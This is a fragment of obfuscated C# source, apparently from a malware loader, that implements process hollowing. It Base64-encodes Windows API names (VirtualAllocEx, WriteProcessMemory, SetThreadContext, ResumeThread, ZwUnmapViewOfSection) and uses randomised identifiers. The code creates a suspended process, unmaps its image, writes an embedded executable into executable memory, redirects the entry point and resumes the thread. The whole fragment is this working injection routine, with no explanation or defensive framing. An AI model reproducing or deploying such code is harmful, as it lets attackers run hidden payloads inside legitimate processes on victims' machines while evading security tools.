    JKINxFMcEDTJLDc.DVSoKjolwzPkluFzdsMf kjolwzPkluFzdsMf = this.IpHswXLJDVSoKjolwzPk<JKINxFMcEDTJLDc.DVSoKjolwzPkluFzdsMf>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg=")));
    JKINxFMcEDTJLDc.dsMfytiOXYWbMFMqEDTX mfytiOxyWbMfMqEdtx = this.IpHswXLJDVSoKjolwzPk<JKINxFMcEDTJLDc.dsMfytiOXYWbMFMqEDTX>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5")));
    JKINxFMcEDTJLDc.qqotfYfKWWlpskJYRBil qqotfYfKwWlpskJyrBil = this.IpHswXLJDVSoKjolwzPk<JKINxFMcEDTJLDc.qqotfYfKWWlpskJYRBil>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA==")));
    JKINxFMcEDTJLDc.hIRdGZFcuHusmECYISYU gzFcuHusmEcyisyu = this.IpHswXLJDVSoKjolwzPk<JKINxFMcEDTJLDc.hIRdGZFcuHusmECYISYU>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk")));
    JKINxFMcEDTJLDc.pJnMeEepjCkIrCIEQgvD meEepjCkIrCieQgvD = this.IpHswXLJDVSoKjolwzPk<JKINxFMcEDTJLDc.pJnMeEepjCkIrCIEQgvD>(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24=")));
    IntPtr zero1 = IntPtr.Zero;
    IntPtr[] wXLJDVSoKjolwzPkluFz = new IntPtr[4];
    byte[] hSNCWNERcLKxjLhtIpHs = new byte[68];
    int int32_1 = BitConverter.ToInt32(UcSxHHGKhovammDGJBZo, 60);
    int int16 = (int) BitConverter.ToInt16(UcSxHHGKhovammDGJBZo, checked (int32_1 + 6));
    IntPtr UTjnphHWOygiEgkyudrQ = new IntPtr(BitConverter.ToInt32(UcSxHHGKhovammDGJBZo, checked (int32_1 + 84)));
    if (ygxkOnOzTliFbzrn((string) null, new StringBuilder(hRyCWyDROwKjjLTfIbHf), zero1, zero1, false, 4, zero1, (string) null, hSNCWNERcLKxjLhtIpHs, wXLJDVSoKjolwzPkluFz))
    {
      uint[] numArray1 = new uint[179];
      numArray1[0] = 65538U;
      if (ufvZcTsVbkgUpfWk(wXLJDVSoKjolwzPkluFz[1], numArray1))
      {
        IntPtr LtthhIRdGZFcuHusmECY = new IntPtr(checked ((long) numArray1[41] + 8L));
        IntPtr zero2 = IntPtr.Zero;
        IntPtr HIGLvovaBmDGJBaDhSNC = new IntPtr(4);
        IntPtr zero3 = IntPtr.Zero;
        if (dfOlgKmsySaQvqqpu(wXLJDVSoKjolwzPkluFz[0], LtthhIRdGZFcuHusmECY, ref zero2, (int) HIGLvovaBmDGJBaDhSNC, ref zero3) && meEepjCkIrCieQgvD(wXLJDVSoKjolwzPkluFz[0], zero2) == 0U)
        {
          IntPtr num1 = new IntPtr(BitConverter.ToInt32(UcSxHHGKhovammDGJBZo, checked (int32_1 + 52)));
          IntPtr num2 = new IntPtr(BitConverter.ToInt32(UcSxHHGKhovammDGJBZo, checked (int32_1 + 80)));
          IntPtr YGXKOnOZTliFbzrnzQfB = kjolwzPkluFzdsMf(wXLJDVSoKjolwzPkluFz[0], num1, num2, 12288, 64);
          int int32_2 = YGXKOnOZTliFbzrnzQfB.ToInt32();
          int RrBNpJnMeEepjCkIrCIE;
          int num3 = mfytiOxyWbMfMqEdtx(wXLJDVSoKjolwzPkluFz[0], YGXKOnOZTliFbzrnzQfB, UcSxHHGKhovammDGJBZo, checked ((uint) (int) UTjnphHWOygiEgkyudrQ), RrBNpJnMeEepjCkIrCIE) ? 1 : 0;
          int num4 = checked (int16 - 1);
          int num5 = 0;
          while (num5 <= num4)
          {
            int[] dst = new int[10];
            Buffer.BlockCopy((Array) UcSxHHGKhovammDGJBZo, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40);
            byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)];
            Buffer.BlockCopy((Array) UcSxHHGKhovammDGJBZo, dst[5], (Array) numArray2, 0, numArray2.Length);
            num2 = new IntPtr(checked (int32_2 + dst[3]));
            num1 = new IntPtr(numArray2.Length);
            int num6 = mfytiOxyWbMfMqEdtx(wXLJDVSoKjolwzPkluFz[0], num2, numArray2, checked ((uint) (int) num1), RrBNpJnMeEepjCkIrCIE) ? 1 : 0;
            checked { ++num5; }
          }
          num2 = new IntPtr(checked ((long) numArray1[41] + 8L));
          num1 = new IntPtr(4);
          int num7 = mfytiOxyWbMfMqEdtx(wXLJDVSoKjolwzPkluFz[0], num2, BitConverter.GetBytes(YGXKOnOZTliFbzrnzQfB.ToInt32()), checked ((uint) (int) num1), RrBNpJnMeEepjCkIrCIE) ? 1 : 0;
          numArray1[44] = checked ((uint) (YGXKOnOZTliFbzrnzQfB.ToInt32() + BitConverter.ToInt32(UcSxHHGKhovammDGJBZo, int32_1 + 40)));
          int num8 = qqotfYfKwWlpskJyrBil(wXLJDVSoKjolwzPkluFz[1], numArray1) ? 1 : 0;
        }
      }
      int num = (int) gzFcuHusmEcyisyu(wXLJDVSoKjolwzPkluFz[1]);
    }
    return (object) null;
  }

  [return: MarshalAs(UnmanagedType.Bool)]
  public delegate bool zbxwYGXKOnOZTliFbzrn(
    string zQfBoxVQtvcvCKyenomr,
    StringBuilder PWdHUTjnphHWOygiEgky,
    IntPtr udrQRrBNpJnMeEepjCkI,
    IntPtr rCIEQgvDFOlgKMsySaQv,
    [MarshalAs(UnmanagedType.Bool)] bool qqpufmtKkjzpskJmRPwl,
    int GwnBLtthhIRdGZFcuHus,
    IntPtr mECYISYUgxyUVeCjNcJP,
    string iqgMHIGLvovaBmDGJBaD,
    byte[] hSNCWNERcLKxjLhtIpHs,
    IntPtr[] wXLJDVSoKjolwzPkluFz);

  public delegate bool dsMfytiOXYWbMFMqEDTX(
    IntPtr ZRqGxiQSmPUhsNaOzbxw,
    IntPtr YGXKOnOZTliFbzrnzQfB,
    byte[] oxVQtvcvCKyenomrPWdH,
    uint UTjnphHWOygiEgkyudrQ,
    int RrBNpJnMeEepjCkIrCIE);

  [return: MarshalAs(UnmanagedType.Bool)]
  public delegate bool QgvDFOlgKMsySaQvqqpu(
    IntPtr fmtKkjzpskJmRPwlGwnB,
    IntPtr LtthhIRdGZFcuHusmECY,
    ref IntPtr ISYUgxyUVeCjNcJPiqgM,
    int HIGLvovaBmDGJBaDhSNC,
    ref IntPtr WNERcLKxjLhtIpHswXLJ);

  public delegate IntPtr DVSoKjolwzPkluFzdsMf(
    IntPtr ytiOXYWbMFMqEDTXZRqG,
    IntPtr xiQSmPUhsNaOzbxwYGXK,
    IntPtr OnOZTliFbzrnzQfBoxVQ,
    int tvcvCKyenomrPWdHUTjn,
    int phHWOygiEgkyudrQRrBN);

  public delegate uint pJnMeEepjCkIrCIEQgvD(
    IntPtr FOlgKMsySaQvqqpufmtK,
    IntPtr kjzpskJmRPwlGwnBLtth);

  public delegate uint hIRdGZFcuHusmECYISYU(IntPtr gxyUVeCjNcJPiqgMHIGL);

  [return: MarshalAs(UnmanagedType.Bool)]
  public delegate bool PIPsUFVZcTsVBkgUpfWk(
    IntPtr uddQDdzNbJaMQpebVnkH,
    uint[] dCIEPThDEOXSvMeySMCh);

  [return: MarshalAs(UnmanagedType.Bool)]
  public delegate bool qqotfYfKWWlpskJYRBil(
    IntPtr GimBLgtgTuQPrZqcgGgr,
    uint[] lEBYtSKHSjxTHQoiMOuP);
}
